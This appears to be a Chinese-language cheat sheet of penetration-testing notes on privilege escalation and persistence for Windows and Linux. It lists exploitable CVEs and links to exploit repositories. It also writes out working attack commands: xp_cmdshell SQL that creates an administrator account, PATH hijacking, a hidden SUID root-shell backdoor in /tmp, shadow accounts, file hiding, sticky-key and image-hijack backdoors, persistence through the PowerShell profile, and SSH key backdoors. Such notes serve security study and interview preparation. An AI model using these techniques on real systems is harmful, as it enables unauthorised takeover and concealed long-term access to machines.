权限提升

windows

使用EXP

systeminfo查看windows系统的版本以及补丁情况,或者使用一些工具查询,然后找相应的EXP打

检测系统的补丁情况:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

查看补丁:

https://github.com/chroblert/WindowsVulnScan

内核提权EXP:

https://github.com/SecWiki/windows-kernel-exploits

在线的提权利用查询:

https://lolbas-project.github.io/

通过补丁查询对应可能可以使用的EXP:

http://bugs.hacking8.com/tiquan/

像比较常用的漏洞:

MS14-058    [KB3000061]  win32k.sys的特权提升漏洞
MS14-068    [KB3011780]
MS15-051    [KB3045171]
MS15-077    [KB3077657]
MS16-032    [KB3124280]
MS16-075    烂土豆提权,只针对本地,不能用于域用户
MS16-135    [KB3199135]
MS17-010    [KB4013389]
CVE-2019-0708
CVE-2019-0803
CVE-2019-1322
CVE-2019-12750
CVE-2020-0787

windows特性提权

系统服务权限配置错误

利用高权限的含有漏洞的服务

不带引号的服务路径提权

"C:Program FilesBOY.exe",有双引号时,执行 BOY.exe 文件

C:Program FilesBOY.exe,没有双引号时,执行Program.exe文件

注册键AlwaysInstallElevated

如果启用 允许低权限用户以System权限安装文件 该策略,则任意用户都可以以system权限安装恶意程序

自动安装配置文件提权

在内网中可能会有一些批量执行命令的脚本,里面可能会有一些配置信息甚至账号密码

DLL提权

劫持DLL进行提权

DLL加载顺序:
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)

第三方组件提权(hvv面试好像经常问)

sqlservser提权

在sqlserver里面使用sa用户运行提权脚本执行命令

Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
udf提权

用户自定义函数提权

mysql5.1之后需要把提权的dll文件放到插件目录下

mof提权

mof是windows内的一个文件,会监控进程的创建和死亡

当我们有了一个mysql的root用户之后,去执行我们上传的mof文件,在mof文件中有创建用户的命令,以达到提权

G6FTP提权

默认开放在本地的8021端口

将创建用户的将用户添加到管理员组的命令脚本用ftp上传并执行以达到提权

bypass-uac

uac(用户账户控制)

白名单提权

COM接口

计划任务

DLL劫持

一些自身漏洞

https://github.com/hfiref0x/UACME

linux

内核漏洞

CVE-2016-5159(dity-cow 脏牛)

dity-pipe

pkexec提权,这个是linux下的一个组件的漏洞,因为影响挺大的,我也把它放这了

https://github.com/SecWiki/linux-kernel-exploits

SUID提权

查找有suid的文件
• find / -perm -u=s -type f 2>/dev/null
• find / -user root -perm -4000-print2>/dev/null
• find / -user root -perm -4000-exec ls -ldb {} \;

常见文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

SUDO提权

在/etc/souders文件内,如果有bypass ALL=(ALL:ALL) NOPASSWD:ALL这句话则使用sudo无需密码

https://gtfobins.github.io/

计划任务提权

一些管理定时执行任务的文件,若它是以root权限执行任务,而普通用户又可以写,那么就可以往这些文件里面写入一些反弹shell的命令

第三方

第三方以root权限运行的程序或组件存在漏洞

SSH秘钥提权

到.ssh目录下,把id_rsa下载到本地设置权限 600 然后利用秘钥登录

cat /etc/passwd | grep bash
cd /home/web1/.ssh
chmod 600 id_rsa    # 设置权限
ssh -i id_rsa web1@192.0.0.1    # 利用秘钥登录

passwd提权

当 /etc/passwd 文件普通用户可写时,可以修改里面的root密码

环境变量劫持

也是利用suid文件提权,suid文件得有系统命令

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH export PATH=/tmp:$PATH
cd /script
./shell

john破解root密码

暴力破解root密码

udf提权(成功率不大)

在mysql内创建函数进行提权

权限维持

web

内存马

不死马

iis后门

winows权限维持

映像劫持技术

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image FileExecution Options 内创建一个BOY.exe,然后在右侧新建一个Debugger,里面写入后门地址

策略组脚本权限维持

打开组策略,里面的windows设置里有个脚本(启动/关机),设置启动属性,添加后门脚本路径

粘贴键后门

C:\windows\system32\sethc.exe替换为后门程序,连续按5次shift键调用程序

影子账号

net user BOY$ 123456 add

文件隐藏

Attrib +s +a +h +r BOY.exe

注册表运行键
屏幕保护程序

修改注册表或者使用msf里面的模块

修改快捷方式

修改快捷方式,link到后门文件

PowerShell配置文件

向powershell配置文件写入自定义语句

查看是否存在配置文件:
echo $profile
Test-path $profile
创建配置文件:
New-Item -Path $profile -Type File –Force
利用:
创建脚本文件
$string = 'Start-Process "C:\BOY.bat"'
$string | Out-File -FilePath $profile -Append
辅助功能

利用屏幕键盘、放大镜、屏幕阅读等辅助功能,将其修改为后门,和粘贴键后门类似

Netsh Helper DLL

利用hetsh加载恶意DLL

新服务

在cmd或者powershell里创建新服务

安全支持提供程序

安全支持提供程序(SSP)是windows内的一个API,可以注册SSP DLL然后加载到内存以达到持久化

BITS Jobs
端口监视器
计划任务

写计划任务,不断反弹shell

时间服务器

linux权限维持

添加用户

直接添加用户

修改passwd文件

锁定文件
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件
SUID后门
cp /bin/bash /tmp/.BOY     # 将/bin/sh放到tmp目录下
chmod 4755 /tmp/.BOY        # 赋予SUID权限
/tmp/.BOY                    # 运行可以拿到一个root的shell
SSH后门

添加公钥,下次用公钥登录

ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub放到.ssh/authorized_keys里面

SSH软连接后门 :

http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/

计划任务

在计划任务的文件里面写入反弹shell,隔段时间就反弹shell

第三方后门

vim后门

inetd服务后门

协议后门:ICMP/DNS

rookit